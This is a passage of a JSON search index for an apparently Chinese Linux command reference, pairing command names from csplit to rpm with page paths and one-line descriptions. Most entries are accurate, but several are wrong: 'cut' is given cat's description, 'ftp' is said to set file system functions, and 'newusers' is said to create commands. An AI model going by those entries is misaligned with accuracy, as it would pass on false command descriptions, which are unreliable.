split","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量,设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"figlet":{"n":"figlet","p":"/figlet","d":"字符串转为 “字画符”。"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件,跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getcap":{"n":"getcap","p":"/getcap","d":"显示文件的能力(capabilities)"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式,是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getfacl":{"n":"getfacl","p":"/getfacl","d":"获取文件访问控制列表(access control lists)"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpg":{"n":"gpg","p":"/gpg","d":"可用于签名、检查、加密或解密的工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令,用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志,只要使用 systemd 的 Linux 发行版(如 Fedora、Ubuntu Modern、Debian、SUSE、Arch),几乎都会配备 journalctl。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器,执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环(loop)设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modinfo":{"n":"modinfo","p":"/modinfo","d":"显示给定模块的详细信息"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容,每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用 named-checkzone 可验证并转换区域文件,需指定区域名和文件名。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"nstat":{"n":"nstat","p":"/nstat","d":"nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议(NTP)设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件,gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器,用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息,管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"